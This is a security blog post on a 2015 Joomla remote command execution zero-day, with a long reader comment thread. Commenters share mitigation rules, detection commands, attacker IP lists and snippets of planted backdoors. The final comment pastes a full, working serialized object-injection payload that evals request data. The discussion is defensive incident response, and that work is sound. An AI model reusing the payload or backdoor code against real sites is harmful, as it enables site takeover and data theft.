Nov 2016 Update: If you need to clean your hacked Joomla site, we have released a new free guide to show you how to identify and remove hacks.
The Joomla security team have just released a new version of Joomla to patch a critical remote command execution vulnerability that affects all versions from 1.5 to 3.4.
This is a serious vulnerability that can be easily exploited and is already in the wild. If you are using Joomla, you have to update it right now. If you need joomla security and malware removal, contact our team.
Update – 2015/12/14, 17:15PM EST If you are using the old (unsupported) versions 1.5.x and 2.5.x, you have to apply the hotfixes from here. This article from OSTraining explains how to apply them.
Zero day Exploits in the Wild
What is very concerning is that this vulnerability is already being exploited in the wild and has been for the last 2 days. Repeat: This has been in the wild as a 0-day for 2 days before there was a patch available.
Looking back at our logs, we detected the first exploit targeting this vulnerability on Dec 12, at 4:49PM:
2015 Dec 12 16:49:07 clienyhidden.access.log
Src IP: 74.3.170.33 / CAN / Alberta
74.3.170.33 - - [12/Dec/2015:16:49:40 -0500] "GET /contact/ HTTP/1.1" 403 5322 "http://google.com/" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3: ..
{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. {}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:..
{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..
We modified the payload so it can’t be misused, but the attackers are doing an object injection via the HTTP user agent that leads to a full remote command execution.
We detected more exploits from this same IP address “74.3.170.33” on Dec 12th, followed by hundreds more exploit attempts from 146.0.72.83 and 194.28.174.106 on Dec 13th.
Today (Dec 14th), the wave of attacks is even bigger, with basically every site and honeypot we have being attacked. That means that probably every other Joomla site out there is being targeted as well.
Protect Your Site Now
If you are a Joomla user, check your logs right away. Look for requests from 146.0.72.83 or 74.3.170.33 or 194.28.174.106 as they were the first IP addresses to start the exploitation. I also recommend searching your logs for “JDatabaseDriverMysqli” or “O:” in the User Agent as it has been used in the exploits. If you find them, consider your Joomla site compromised and move to the remediation / incident response phase.
Note that clients behind the Sucuri Firewall were already protected against this threat and are safe. Yes, our virtual patching for the HTTP User Agent kept our users protected against this exploit.
If You Use Joomla, Update ASAP!
For those on the 3.x branch, update immediately to 3.4.6. There will be unofficial fixes for Joomla! 1.5.x and 2.5.x provided soon. Anyone using those versions should stay aware and update as soon as possible.
We are still monitoring the issue and will provide more updates as we learn more. If you require Joomla malware cleanup services, our team is happy to help restore, protect, and monitor your site going forward.
To mitigate the attacks before updating Joomla, would it be sufficient to deny “strange” user-agent strings? For example in your .htaccess to deny user-agent strings containing an accolade { :
RewriteCond %{HTTP_USER_AGENT} .*{.* [NC]RewriteRule .* - [F,L]
Any equivalent rule for `nginx`?
Try with this inside your server block:
if ( $http_user_agent ~* ({|}) ) {
return 403;
}
That would work. I would also recommend blocking O:[0-9] as an additional hardening.
Warning, from my apache logs, some users use those kinds of user-agent :
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SIMBAR={19D004AF-08EA-11E2-BEF2-000000000000}; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; MSOffice 12)
Outlook-Express/7.0 (MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; BTRS121932; SIMBAR={1605FC0C-5EB7-4998-85F3-AB145EAFDD05}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; TmstmpExt)
You should try :
RewriteCond %{HTTP_USER_AGENT} O:[0-9]+: [NC]
RewriteRule .* - [F]
Thanks for your reply Marco! Sometimes you have to take drastic measures which may block legitimate visitors. However, such mitigation measures should never be in place for longer than a day or so, only in between the time of hearing about the exploit and updating Joomla.
As mod_rewrite doesn’t work on Apache server level without “RewriteOption InheritDown” (available from Apache 2.4.8) I’d suggest using BrowserMatch directive instead (in conf.d/):
BrowserMatch O:[0-9] joomla-exploit-workaroundDeny from env=joomla-exploit-workaround
As always Sucuri chose to promote their own services first – sad
We are proud of what we do here. We are proud that our work can protect our clients even from some 0-day exploits going out there.
But this post is far from promoting ourselves. In fact, we only mentioned it to let our clients know that they are safe/protected.
Anyone else can either update Joomla, use ModSecurity or any other WAF to protect themselves.
It’s their website, it’s their article and it highlights what their service is finding. They should be hyping up their own services on their own website – nobody works for free!
They only found it once it was reported by the Joomla team and they searched their historic log files!
Hey @brianteeman:disqus
Too bad you didn’t feel you could come to me with this concern.
As my partner explained, we are in fact very proud of what we do here. We do more to bring awareness to the issue than most realize, and we report on what we’re seeing via our network to help provide perspective and context. So yes, if we reference that our customers are in fact protected, being it’s a question we’ll get asked, then sincerest apologies for the inconvenience.
Too bad though..
Tony
Well said Tony 🙂
I think Brian’s concern, although not well phrased, is that your reports tend to offer too much information during a period where site administrators may not have had a chance to update their sites. There are a lot of administrators who are lax when it comes to updating. Although the exploit is available in the hacker community, I don’t think it’s safe to assume that all potential hackers are sufficiently plugged into that community to be aware of the details. By publishing the details of the exploit simultaneously with the availability of the patch, those of us on this side of the fence feel that you’re giving people a tool to go and do significant damage, all for being able to take credit for breaking the news.
I for one would be much happier if you announced the vulnerability in more general terms at the time the update was made available, but withheld the technical details for several days. Granted this is less of an issue when the exploit is in the wild, but you have done this with undisclosed vulnerabilities, and I personally feel that put a lot of sites at risk for no good reason.
There is no POC in the post, so unsure about giving people a tool to go
and do significant damage? The post does provide IPs for admins to watch for. In my humble opinion, any major RCE vulnerability will
attract hackers to seek underground discussions…. no matter how
general you keep the disclosure among whitehats.
Hi @abivia:disqus
I’m pretty sure I understand @brianteeman:disqus intent pretty well.
As for your points on what, specifically how much we provide. Our position is, and continues to be that we’ll disclose whatever information we have available that is already public knowledge. This was an active Zero day, needed to be shared and we use what we have at our disposal to get the information out.
Something to consider. In your argument you are focusing on the “lax” administrator; in turn we’re focusing on the proactive ones. Those that care, and use the information we share to protect their properties. There is little we can do for those that don’t care.
What we share is valuable, and it makes a difference. There are two sides to the fence, and there are just as many administrators thanking us, as those that share similar sentiments as to those you have expressed.
Thank you though, for sharing your thoughts.
Tony
My consideration of the “lax” administrator comes from considerable experience. There are several sub-cases of this, the worst being someone who built a site for a customer, gave them no guidance on maintenance, and moved on. These are the sites running things like Joomla 1.5.6 and frankly I have no idea how they survive unscathed. These administrators don’t even know what a security advisory is and there’s not much we can do about that.
However there are a lot of reasonably responsible administrators who are also small business owners where their website is a necessary but non-critical part of their business. Some of them have day jobs. Some of them travel. Some of them have calendars booked days in advance. Anecdotally, I’d submit that the vast majority of Joomla and WordPress sites fall into this category. As far as I’m concerned, anything that increases the risk of their site being attacked before they can find the time to perform an upgrade is non-optimal.
To be clear, I have no issue with the release of information that’s tangential to the exploit such as IP source addresses, and I realize that not publishing won’t deter a serious hacker from getting his hands on the exploit. One of the joys of open source is that a simple diff on the update frequently exposes the nature of the vulnerability. Yet as far as I’m concerned, anything that makes it a little more difficult–even for the curious amateur hacker–is a good thing because it might just buy someone the few days they need to find the time to update. This is particularly so at a time of year when we’ve got a lot of bored university students who have finished exams and can’t find anything better to do.
I realize that administrators who are on the ball appreciate full disclosure, but at the same time those will be the administrators who have patched their systems, or who can afford to make use of your services. They’re at less risk, by definition. Meanwhile, collating all the “public” information and releasing it as the patch becomes available clearly does not benefit the people who can’t drop everything and patch, or those who can’t afford your services.
I don’t expect you to change your policies. After all, somewhere between the responsible administrators and the people who can’t afford you is your pool of new customers, and what could better focus their attention than getting hacked? I’m just elaborating on why you might be the subject of the occasional frustrated remark.
Hi @abivia:disqus
All fair points.
There are obviously a number of counter points that can be made, but alas we’d get into a philosophical debate in which there really is no right or wrong, only perspective and personal opinion. Thanks though for sharing your concerns and insights.
Tony
The attackers knew all they needed to know already.
All we did was to close the gap between the attackers and webmasters. Our post gave visibility to webmasters and helped them react/protect themselves.
Not only webmasters, but many security companies, hosting companies and web developers thanked us for sharing the details and to help them understand their risks.
thanks,
Well they should. They are the only ones that even write about these exploits. When my site got hacked the only freaking site that was able to clear things up was this one.
Well they should. They are the only ones that even write about these exploits. When my site got hacked the only freaking site that was able to clear things up was this one.
stupid comment to make. Thanks Sucuri for a great service!
Until now I have seen the following IPs exploiting this exploit:
74.3.170.33
146.0.72.83
173.245.53.153
194.28.174.106
195.191.149.139
Yep, same here.
Also, one cloudflare ip showed up, it seems they don’t filter this..
Yep, their free plans don’t include protection. Not sure if they WAF (for pro and up) have a patch for this yet.
Can anyone confirm if this vulnerability is blocked or not by:
– modesecurity
– cloudflare
– incapsula
ModSecurity: Their default rules do not block it.
CloudFlare: Not blocking it.
Incapsula: Have not tested it.
Thanks Daniel.
Is there any simple way we can test to see if vulnerable?
Another one found on my server’s log: 207.244.70.35.
Can you tell us what was in the payload? I’ve had several sites hit with this and it is evaling a post variable($_POST[111].)
Knowing what was in this post variable would be quite helpful!
That’s a backdoor that gets injected. So whatever code the attacker provides will be executed.
Looked to just be a GET URL though from our log analysis. I checked the database for changed info and could not find any, or any changed files, so I wonder if it was just a probe for now…?
The GET stores that User-Agent string in the jos_sessions database table for that IP address. Your logs should have a subsequent POST from the same IP address with the 111= payload; that’s where the exploit happens, when Joomla reloads the session data.
Ah, ok, yes saw the POST afterwards. As John mentioned above, it would be nice to know what they did that Sucuri found, as I can’t seem to find the inserted back-door access in the DB or any files…
After doing cleanup – I found a lot of the sites had modified
/includes/defines.php
/includes/framework.php
It also modified a few PHP files at random to execute a POST payload using preg_replace’s /e modifier.
Simple way to search would be to search for any files modified in the last week or so
find . -mtime 7
find . -name “*.php” -print0 | xargs -0 egrep “preg.*_replace.+/e.+_POST”
My /includes/defines.php has this:
if(strpos(implode($_SERVER),”O:”))
How do I find other files that are modified?
That means your site was compromised. Part of the code modification actually closed the hole so others couldn’t exploit it. From a terminal, run the above `find` commands. The preg replace one will search for any attempts to execute code using POST data. The original `find . -mtime 7` will find any files modified in the last week.
Thanks, but I get 0 results doing both find commands you listed. The /includes/defines.php has a timestamp of September 8, 2015…?
The exploit has been around for 8 years… so perhaps your site was attacked earlier? It’s also not difficult to manipulate the modification time. May also try atime (for access time). If you have weekly/monthly backups, compare with your last one.
I do have backups; whats the easiest way to compare file timestamps?
I would just compare files in general – look for any that have been changed. Don’t forget to check your DB for anything suspicious too.
diff –brief -r dir1/ dir2/
Does this mean we can search the jos_sessions table to see if it was successful? What would we search on? The serialized data (ie, JDatabaseDriverMysql)?
Would emptying out the jos_sessions data basically prevent any “prepped” (ie, the post failed in deploying the payload but the session is still there waiting to be exploited again)?
Yes, I know. Since it seems to be automated and you guys are blocking it, I was hoping you knew what their payload was/did, aside from just ‘it does bad things.’
I think there is a decent chance it is consistent, but even if it isn’t knowing what the one you logged would be quite helpful.
Every site I’ve checked so far has been hit so far and I have been doing all the normal server checks looking for malicious files, changing passwords, etc, but having an idea of what it was would make life way easier and probably save me some time 😉
I replied with a link to a copy of the malicious code being POSTed, but Sucuri didn’t approve my comment, which is fair enough, I guess.
Anyway: It attempts to echo the contents of the configuration.php file back to the attacker, then patch the buggy files, then install a shell. However, it doesn’t seem to have succeeded in patching the files or installing the shell on any sites I’ve seen. Not clear why.
Awesome, thanks!
That does make me feel better, as changing the passwords was the first thing I did. I’ll take another pass on the files tomorrow, but I didn’t notice any obvious shells(or changes to the database/users) on the sites I checked.
Could you send the link to cnarzt@scanimetrics.com?
Nope, we didn’t block any comments. Mind re-sending? Maybe disqus blocked it for some reason.
Ah, the comment showed up eventually (below). It’s at pastebin dot com URLs /jbjqdcmx and /e25zxcn6 .
I’ve since found a small number of sites where the shell DID get installed, and someone started using it to send spam. It looks like the payload they’re sending only works on some sites (perhaps 10-15% of the ones that were attacked?); not sure which or why. It’s also not yet clear to me if the “send the attacker the configuration.php file” part of the payload worked on only the ones where the shell install worked, or if that part worked on all of them.
Hi Robert,
Could you please post the file paths to where shell did get installed on your sites and the filepaths of any files it tries to patch thanks.
and mine seems to be more “elaborate” pastebin /rp23dRin
yes, you do: none of my comments with naxsi-rules (included | linked) showed up on your blog, not just this article, which is sad.
After analysing the logs it looks like the attack was unsuccessful
and the only thing that secured my website was a non-www to www
redirection on Apache. Basically the $_POST[111] payload was sent to non-www address and was redirected away. The bot didn’t bother to resent to www address.
WooDzu, are you serious??? LOL that’s great…guess by default of my setup I’m protected too by the power of triple w
For my sites that were accessed by the above IP addresses, I’ve found that the following file was modified on the same day. The contents are not only suspicious, they’re completely different from the stock Joomla file: libraries/joomla/session/session.php
Thanks A Fisher, good to know which file we should keep an eye on. RSFirewall has a nifty new feature that allows for file comparison within the joomla admin control panel which has already proved useful.
I found the changed file by using the file change scanner in Akeeba Admin Tools
Absolutely. The “one click update” applies to all affected versions? Or only for those on 3.4.x so far?
What log do I need to look for? access_log? I cannot find this
grep JDatabaseDriverMysqli access_log nothing found
Try to look on all your access log files. Depending on how your server is configured, they would be inside /var/log/http or /var/log/apache2 or ~/logs. You can even try a “grep -r” to go through all files and see if there is any hits there.
thanks,
Awesome, thanks for the update. We will link to it in the post as well.
Thanks for confirming. Will link to your post as well.
I’ve been going through access logs and 4 of our websites were targeted by that described attack, with the same IP actually (146.0.72.83 ). Some of them returned code 200, which has me a little concerned. Do you have any information about where the payload is dropped?
We have found several new files and mod files across various sites, here are the most common
/media/editors/tinymce/skins/lightgray/img/thumb.php
/media/editors/tinymce/skins/lightgray/img/strange.php
/libraries/index.php
/includes/framework.php (modified header)
/includes/defines.php (modified header)
/media/system/js/thumb.php
/cookietest.php
/joomla_verwx1.php
/upload_e45.php
/update_rxd.php
/conf_bmx.php
/upload_dni.php
/update_rxd.php
/conf_pue.php
/upload_3x0.php
/joomla_verw8f.php
/config.php
/wsdl.php
/error.php
/kurd.php
/joomla_ver5fm.php
/upload_v8v.php
/upload_gxo.php
/upload_51i.php
/update_g6z.php
/joomla_veria6.php
/upload_eln.php
/upload_guo.php
/upload_sj5.php
/update_rbu.php
But no mention that this is – and was – a WP hack a few months ago, that this is just a clone of a well known technique already investigated by others, or that the result of this hack is a payload that effects 3 Joomla code files (/includes/framework.php, /includes/defines.php, /index.php) and uploads FilesMan backdoors to several places with several different known filenames – the payload – that YOUR customers are asking you for, that you dont seem to know… these files are dropped.
sort.php
conf.php
utf8.php
cp1251.php
backup.php
cache.php
reverse.php
bin.php
cgi.php
memcache.php
sql.php
all decoded from the seen FULL hack… all you are reporting is the basic stuff. You are also not noticing that the full hack involves PHP’s way of deserialising session objects, and the upstream PHP bug therein. And you are failing to report that SimplePie can be tweaked to override its validation of cache function names… so pretty much your blog post is very little based on actual facts about this particular hack.
Again? Really? Another zero day exploit??? Joomla wth?
So did the Firewall block this exploit or is my site potentially hacked at this point?
This vulnerability can’t even be blamed to Joomla directly. The security of your site should not be dependent on flawless code alone. Almost everyone that applied security in depth were protected against this vulnerability. (or able to react fast)
Is there a simple patch for Joomla 3.0.2. I can’t seem to update my site without bricking it. Even a simple code change in sessions.php (as per Joomla 1.5 hotfix) that someone could provide? I have no modify permissions (Win IIS) outside of tmp and cache directories for IUSR account, will this protect me?
How is possible to check of shell is installed? where should be if installed?
also, wich files you mean when you say ‘patch the buggy files’?
Sorry for my dummies question.
Many thanks on advance
Use this grep to find any shell files – we’ve found this in common on all of the hacked Joomlas and any uploaded files:
grep -rl ‘default_action = ‘ ./ –include=*.php
Does anyone know if this vulnerability is blocked or not by:
– modesecurity
– cloudflare
– incapsula
iptables -A INPUT -s 146.0.72.83 -j DROP
iptables -A INPUT -s 74.3.170.33 -j DROP
iptables -A INPUT -s 194.28.174.106 -j DROP
iptables -A INPUT -s 35.0.127.52 -j DROP
iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “JDatabaseDriverMysqli” -j DROP
iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “O:” -j DROP
Great rules. Might be a bit too aggressive, since it will block things outside of the user agent as well.
A bit. 🙂 We removed this:
iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “O:” -j DROP
Silly question: if the site was attacked, what is the “remediation / incident response phase” you mention above? I’ve already applied the hotfix (Joomla 1.5), but it sounds like that would only work pre-attack, not post-attack?
Yes, that only works pre-attack. Post-compromise, you have to to do a full cleanup and remove whatever backdoor/malware they added.
An easy way is to diff (compare) your current version with your last backup. Find all modified files and see if they have been injected. Or even revert back to your last known/good backup.
A second option is to try to search for the last files modified and see if they are hacked, but not 100% effective.
We also offer remediation (cleanup) as part of our plans if you do not want to do it yourself:
https://sucuri.net/website-antivirus/
thanks!
Thank you. Do you know if the exploit allowed interaction with the DataBase? In that case, I guess we should also search in the data, which makes cleaning much harder..
I noticed in the log, terms like JFactory::getConfig() indicating the intruders had access to site credentials.
Also, I found a file planted by the intruders in the following path: /libraries/joomla/exporter.php
The file contained the following: if (md5($_POST[‘password’]) == ‘cacf9427ffc71edf7565bd43383c71c7’) { preg_replace(“43565243145″, ”
14516614115450142141163145666413714414514315714414550′” . $_POST[‘code’] . “‘515173″, ”); }
I have the opposite problem. Had a database backup from barely a week ago, so reuploaded that one. (no changes in the last week). But now to go through all the files to see if they were changed in the last week (or find the “latest” file backup two harddisks ago…)
Thanks, I’ll go the diff route, once I’ve dug up my last full backup.
Serializing PHP is evil, should do dump to json and load from json instead. There will always be holes like that, one way or another.
Thanks for the detection instructions! All clear here.
does someone has logs or an ossec rules ? thanks
OSSEC rules here:
https://bitbucket.org/dcid/ossec-hids/commits/67696e5691127a47adba1be83826e3f73bdcea75
thanks
Morning!
For update the Joomla only can extract the tarball of Joomla_3.4.5_to_3.4.6 in the root directory of www?
Thanks.
if joomla is installed in windows, what would be the impact?
That’s the same. They will be able to execute commands via PHP.
I did a log analysis in more that 200 servers so here are some more IPs :
5.135.158.101
5.196.1.129
5.196.72.199
5.196.72.207
5.79.68.161
5.9.36.66
31.220.45.6
35.0.127.52
37.130.227.133
37.187.129.166
37.48.80.101
37.48.80.73
37.48.81.27
46.165.230.5
46.183.221.231
46.45.137.71
51.255.38.230
51.255.38.231
62.102.148.67
62.210.105.116
62.210.37.82
64.27.17.140
71.19.248.195
71.19.248.201
71.19.248.46
77.244.254.230
77.247.178.245
77.247.181.163
77.247.181.165
77.51.138.131
79.172.193.32
80.82.64.129
81.7.16.13
82.174.117.44
83.233.119.138
85.10.210.199
85.214.98.239
85.245.242.72
85.25.103.119
85.25.44.141
85.93.218.204
88.198.14.171
89.144.10.210
89.187.142.208
89.234.157.254
89.248.160.156
89.248.167.141
89.73.177.236
91.203.5.165
91.213.8.236
91.233.117.159
91.234.22.48
91.240.67.138
91.250.241.241
93.115.95.201
93.115.95.205
93.115.95.206
93.115.95.207
93.174.90.30
93.184.66.227
94.142.242.84
94.242.228.108
94.242.246.24
94.242.253.92
94.30.181.134
95.130.13.157
95.69.233.211
104.156.228.165
104.200.78.157
104.238.169.40
109.163.234.2
109.163.234.4
109.163.234.5
109.163.234.7
109.163.234.9
109.194.217.99
109.201.133.100
109.201.143.40
109.201.152.13
142.4.213.25
142.54.171.124
146.90.84.210
149.126.76.97
149.202.42.188
149.202.98.160
149.202.98.161
149.210.233.129
151.80.138.19
151.80.175.238
151.80.37.117
158.69.172.227
158.69.192.220
158.69.214.254
158.69.215.68
158.69.215.7
162.221.200.51
162.247.72.202
162.247.72.212
162.247.72.27
167.114.204.255
167.114.89.196
171.25.193.131
171.25.193.132
171.25.193.25
173.255.229.8
176.10.104.240
176.10.104.243
176.56.230.162
178.162.216.42
178.254.18.100
178.32.53.53
185.100.85.61
185.101.107.189
185.104.120.2
185.17.184.228
185.65.135.227
188.27.107.37
188.68.229.144
192.42.116.16
193.107.85.62
193.171.202.150
193.90.12.86
194.150.168.79
194.150.168.95
194.28.174.106
194.28.174.117
195.154.56.44
195.154.69.88
195.19.194.108
195.22.126.119
198.50.145.72
198.51.75.165
204.194.29.4
204.85.191.30
212.117.180.21
212.21.66.6
212.47.238.193
212.47.246.21
213.126.78.59
213.61.149.100
217.115.10.133
good luck to all
Do you have any modsecurity rule for blocking session.php 0day exploit?
Daniel any idea on how long you think this exploit has been known? The exploit itself seems reasonably clever but the execution and final payload, at least what has been happening for the past few days, seems somewhat clunky and amateurish. It is as if the exploit was known by someone else and maybe sold to spammers. I have not seen many pre-existing rules or filters that would have caught at least the initial exploit. The second step of posting the payload seems to be where much of this got stopped. That is where our WAFs stopped it for our clients and I am sure the same was true for Sucuri clients … and maybe you guys caught it at the User Agent step. But I fear this one will be felt for a while across the internet …. because we all know only a small percentage of sites have been patched in the last 24 hrs. And my gut is telling me that the person or group who figured out this exploit is not the same people doing this wave of attacks that presumably started a few days ago.
The first traces of the attack started 2 days before the disclosure. We could not find any more attempts going back a while in our logs. And yes, we were able to block it due to our pre-existing rules to filter the user-agent and x-forwarded-for headers.
As far as the scope, I am seeing a lot of sites hacked already and still a LOT of unpatched sites out there.
thanks,
On one of my sites I have hacked some core files to disable writing session info in sessions table, except for sessions of the administrator side of joomla. Would that accidentally protect me from this attack?
The session data has to be stored somewhere – so no – that would not protect you.
Is joomla not working correct anymore do we have to switch to wordpress?
Our hosting company doesn’t accept joomla because of the Security issues. Is this justified?
Is joomla not working correct anymore do we have to switch to wordpress?
Not at all. Every CMS will have security vulnerabilities and as long as you keep it patched and follow good security practices, you will be ok.
Remember, every code has vulnerabilities. The security of your site should not be dependent on having a flawless code. That’s why we preach security/defense in depth and taking extra security measures so 1 failure doesn’t equal to full compromise.
thanks!
Care to name your incompetent foolish web host?
Hey @prazgod:disqus
There isn’t a need for these types of responses. There are ways to be more tactful in your engagement.
Tony
Whatever. A webhost refusing to host joomla on security grounds is incompetent and foolish. If you dont care for my honest engagement then block me from your site – I honestly could not care less. There is so much disinformation in the comments in your posts anyway – and more to this vulnerability that you dont know and will come to light this week… much… much more…
WordPress has had multiple security issues as well. A good host needs to implement defenses against vulnerabilities in anything that involves code, be that PHP, Python, Ruby, Java or anything else. If your host thinks that banning Joomla is going to solve their security issues, then they’re delusional.
I already patched my site but reading through the comments here and then going through my install I’ve found files modified: includes/defines.php has this:
if(strpos(implode($_SERVER),”O:”)){exit;}
which is easy enough to fix but how do I find all the other files (if any, and I presume there are) that have been modified. BTW, this file had a timestamp of Sept. 8, 2015.
The patches for 1.5.x and 2.5.x do not fix the issue, they leave the vaunerability accessable via HTTP_X_FORWARDED_FOR
The 3.x patch that went in, also correct this other entry point.
Not sure which patch you ended up getting. I saw two different ones, but the one that has this line below in it and the one we used should protect 1.5.x and 2.5.x going forward.
if(!empty($xForwardedFor) && filter_var($xForwardedFor, FILTER_VALIDATE_IP) !== false)
Adds a sanitizing routine for the HTTP_X_FORWARDED_FOR variable and a similar line does the REMOTE_ADDR variable. The user agent is just completely removed from the session data.
Seems my other comment is being held for moderation – so I’ll give you a 4 word summary here – you are factually wrong!
Hi,
I test a modsecurity rules which has stopped the attack.
Put your own rules in your modsecurity configuration file , typically “/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_10_lab.conf” :
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “test|O:21:”JDatabaseDriverMysqli”” “id:99992,severity:4,msg:’Access Denied'”
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “eval(base64_decode($_POST[111]” “id:99991,severity:4,msg:’Access Denied'”
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “feed_url” “id:99990,severity:4,msg:’Access Denied'”
The first rule should be enough to stop the attack
In modsec_audit.log : the access is denied
–aed86a72-H–
Message: Access denied with code 403 (phase 2). Pattern match “test|O:21:”JDatabaseDriverMysqli”” at REQUEST_HEADERS:User-Agent. [file “/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_10_lab.conf”] [line “38”] [id “99992”] [msg “Access Denied”] [severity “WARNING”]
I’d like to share my findings about what modifications to your system you should expect. After JDatabaseDriverMysqli requests, there was suspicious mail server activity. Deferred mails contained the header X-PHP-Originating-Script: 33:include.php(1960), infected php files (a few spread across system, some new, some modified, no particluar size or timestamp or name) contained either
eval (base64_decode($_POST[“php”]) or
$GLOBALS[‘some_binary_data_starting_with_small_letters’],
the latter often starting in row ~519 of line 1 of a php so you only see it with line wrapping enabled…
Thanks for sharing. Hope that is useful to anyone else trying to clean their site.
I see comments of people moaning that you guys posted this info; but for me, all I can say is THANK YOU, tnx tnx, a lot. My sites started receiving this crap, and for the info posted by you guys I was able to detect how much the attackers did (so far nothing), and how to avoid it in the future, aside of the piece of news so we all got aware.
Also, on a side note… I have daily backups, and cannot find a single changed file (not by me) for the websites, something inside tells me there has to be something else. From my logs I do see first the _POST[111], but no ‘HTTP_CMD’ before it, multiple times. Also, the crap they send comes in HTTP_X_FORWARDED_FOR and HTTP_USER_AGENT
I also see a few “tests” like “print md5(123123123);JFactory::getConfig();exit;” where it seems they are verifying the payload ran, but the md5 argument is always the same.
Hi Xristoph,
Of course, the post contains real live bits of malware, no wonder your anti malware program goes nuts… However, it’s only plain text and no scripts, so you don’t have to worry 🙂
Just a question on this. Does the update over a hacked site fix it or do we also need to go through other exercises? are only php files hacked or does this affect the database as well? Uh, maybe this is the same question as the one below 🙂 Thank you
As I understand it, the update would stop any future attempts to exploit the site but if your site (like two of mine) was targeted before the update, then just about anything could have been done to your site. So I think we’re left with no option but to look for new and changed files. I’ve not found an easy way to do this so it looks like it’s going to take a long time.
I have Akeeba’s Admin Tools installed and this generally protects against a lot of attacks. However, it didn’t at the time protect against this one (the last update a few days ago does). One of the features is a way to compare files to see if they have changed. Unfortunately, I had never run that on my sites, so I had nothing to compare to! But I think that would have made life very easy in terms of finding new and changed files!
I think my only option is to download a recent backup (I use http://www.myrepono,com) from before the exploits started a week or so ago and compare that to the current site (which has the update, so some files will have changed anyway). I know this needs to be done, but I have some deadlines approaching fast!
I don’t know if it will stop anything, but changing your database user’s password must be a minimum – I’ve changed the user and password – and as long as any backdoor doesn’t allow the hackers to re-access your configuration.php file, that should at least stop them accessing your database – I think…
Another simple thing to do is to check that no new joomla users have been created – one with superuser rights is obviously dangerous! Also check for new database users.
If anyone here knows better, please feel free to correct anything I’ve said! I’m not an expert.
Hello,
I would like to ask if in this case will help SSL certificate for administration? I´m not expert.
Thank you very much
No – a SSL Certificate will not protect you from this issue at all.
Correct me if I am wrong but it appears that this is not a Joomla vulnerability but rather a PHP vulnerability.
That only webservers that are using older versions of PHP are vulnerable to this exploit regardless of if Joomla was patched quick enough or not. PHP was patched in September, so any server that updated PHP after that should be protected against this vulnerability. PHP versions below 5.5.29, 5.6.13 and below 5.5 are the ones that are vulnerable.
Joomla released a patch that prevents older versions of PHP from being exploited through Joomla. I am a bit new to this stuff, so check and confirm what I am saying. I think it would also be important to note that despite patching Joomla if you are using an older version of PHP that has the vulnerability. You may wind up being exploited in another way via the same vulnerability in some other way not only via Joomla. So you need to make sure what version of PHP you are using and update it if it is outdated.
Here is a link to the PHP changelog, showing the fix: http://php.net/ChangeLog-5.php#5.5.29
I see attempts in my server logs to exploit this vulnerability, before the Joomla patch was released, like people mention in these comments. But my PHP version was updated before this so it does not appear that anything happened on the server.
It is a Joomla vulnerability in that certain data was allowed to be injected into the session without sanitization. Regardless of PHP version, that was exploitable. The use after free vulnerabilities fixed in PHP releases this year help to mitigate the scope of what can be done with the vulnerabilities, but it would be wrong to assume that users running PHP 5.4.45, 5.5.29+, or 5.6.13+ are fully protected because of the PHP security patches.
I think you was right that users with old php versions are vulnerable even after patch 3.4.6. But today Joomla just release 3.4.7 version and with this version even users with old php are not vulerable anymore. Is that correct?
Hello people. Any report on this affecting sites using Joomla 1.0? Yes, I have a couple ones in an old server and I’ve found the keyword “JDatabaseDriverMysqli” within the logs. Am I vulnerable or only those with 1.5+ are?
HI I have just downloaded my site on to my localhost on my PC After it got attacked :S.
Im tring to login to the admin, and the page does not move foward, even after changing password from myphpadmin. Is that part of this attack?
If a joomla website is attacked, other joomla webistes (not yet attacked and yet upgraded with last hotfixes) on same server are vulnerable?
Joomla 3.4.7 just release (and equivalent hotfix for J1.5 and J2.5). It seems that users with old php versions (before 5.4.45, 5.5.29, 5.6.13) are vulnerable even after patch 3.4.6. But today Joomla just release 3.4.7 version and with this version even users with old php are not vulerable anymore. Is that correct?
Hi is there a manner to know what they made with the log?
here is the logs from my website.
95.110.187.117 website – [31/Dec/2015:00:34:53 +0100] “GET /administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 9187 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:46:”eval($_REQUEST[1]);JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}xf0x9dx8cx86″
